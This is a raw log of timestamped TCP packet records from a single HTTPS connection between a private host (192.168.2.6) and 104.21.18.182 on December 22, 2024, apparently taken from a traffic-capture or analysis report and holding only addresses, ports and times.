Dec 22, 2024 13:42:23.316803932 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.316822052 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.316879034 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.326994896 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.327018976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.327065945 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.327083111 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.327107906 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.327135086 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.478069067 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.478086948 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.478161097 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.478215933 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.478281021 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.482640028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.482672930 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.482709885 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.482727051 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.482752085 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.482799053 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.488398075 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.488419056 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.488481998 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.488497019 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.488542080 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.488632917 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.493710041 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.493736029 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.493818998 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.493834972 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.493863106 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.493880987 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.498231888 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.498251915 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.498297930 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.498311996 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.498338938 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.498358965 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.503999949 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.504021883 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.504194975 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.504210949 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.504281998 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.508917093 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.508939981 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.508996964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.509011984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.509042025 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.509138107 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.519167900 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.519210100 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.519284010 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.519299984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.519344091 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.519471884 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.670281887 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.670314074 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.670387030 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.670420885 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.670443058 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.670517921 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.674925089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.674947023 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.674988031 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.674997091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.675024033 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.675054073 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.680418968 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.680439949 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.680505991 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.680521011 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.680553913 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.680574894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.685703993 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.685724020 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.685779095 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.685792923 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.685820103 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.685841084 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.691488981 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.691509962 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.691586018 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.691627979 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.691663980 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.691679955 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.696233034 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.696254969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.696299076 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.696311951 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.696345091 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.696367979 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.701196909 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.701215982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.701260090 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.701273918 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.701306105 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.701327085 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.711234093 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.711256981 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.711373091 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.711395025 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.711446047 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.862262011 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.862286091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.862377882 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.862404108 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.862421989 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.862488031 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.867960930 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.867980957 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.868076086 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.868086100 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.868125916 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.872867107 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.872899055 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.872948885 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.872956991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.872997999 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.878192902 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.878213882 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.878273964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.878287077 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.878314018 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.878334045 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.883363008 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.883385897 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.883493900 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.883507967 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.883568048 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.888745070 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.888767958 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.888809919 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.888822079 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.888866901 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.888886929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.893922091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.893943071 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.893996000 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.894009113 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.894038916 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.894057989 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.903364897 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.903398991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.903431892 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.903462887 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:23.903491020 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:23.903512001 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.054244041 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.054270029 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.054371119 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.054402113 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.054450035 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.060101986 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.060126066 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.060204029 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.060211897 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.060237885 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.060261965 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.064726114 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.064747095 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.064846992 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.064856052 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.065171003 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.070189953 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.070210934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.070285082 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.070296049 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.070324898 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.070352077 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.075407982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.075428009 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.075479031 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.075490952 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.075525999 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.075546980 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.080471992 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.080492020 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.080594063 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.080607891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.080667973 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.085922003 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.085942984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.086044073 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.086059093 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.086189032 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.095531940 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.095551968 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.095619917 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.095633984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.095662117 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.095691919 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.246383905 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.246413946 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.246494055 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.246526957 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.246553898 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.246623993 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.252170086 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.252192020 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.252268076 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.252274990 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.252315044 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.256624937 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.256649971 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.256695986 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.256704092 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.256738901 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.256762981 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.262046099 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.262068033 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.262134075 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.262141943 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.262159109 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.262197018 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.267745018 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.267765045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.267791986 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.267798901 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.267822027 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.267843962 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.272552967 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.272576094 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.272658110 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.272665024 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.272700071 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.272717953 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.277965069 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.278007984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.278045893 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.278059006 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.278090000 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.278110027 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.287761927 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.287787914 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.287867069 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.287880898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.287910938 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.287997961 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.438447952 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.438486099 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.438523054 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.438534021 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.438566923 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.438602924 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.443845034 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.443871975 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.443897963 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.443906069 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.443950891 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.448719978 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.448743105 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.448790073 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.448800087 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.448847055 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.448848009 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.454137087 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.454157114 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.454191923 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.454200029 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.454232931 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.454257965 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.459570885 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.459592104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.459619999 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.459628105 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.459661007 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.459676027 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.464745998 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.464767933 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.464801073 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.464808941 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.464855909 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.464855909 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.468875885 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.468930960 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.468960047 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.468966007 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.468991995 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.474354982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.474412918 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.474425077 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.474445105 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.474476099 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.527920008 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.558367968 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.558415890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.558449984 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.558456898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.558505058 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.634612083 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.634660959 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.634757996 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.634757996 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.634768963 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.634805918 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.640202999 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.640280962 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.640316010 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.640321970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.640383005 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.644895077 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.644946098 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.644967079 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.644974947 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.645018101 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.650450945 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.650494099 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.650527000 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.650532007 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.650572062 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.655746937 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.655791998 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.655864954 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.655873060 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.655916929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.655946016 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.660831928 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.660873890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.660912037 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.660917044 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.660968065 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.666198015 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.666240931 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.666276932 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.666281939 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.666323900 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.750437021 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.750484943 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.750519991 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.750529051 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.750581980 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.827107906 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.827171087 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.827189922 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.827198982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.827230930 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.827249050 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.834527969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.834578991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.834615946 CET	49720	443	192.168.2.6	104.21.18.182
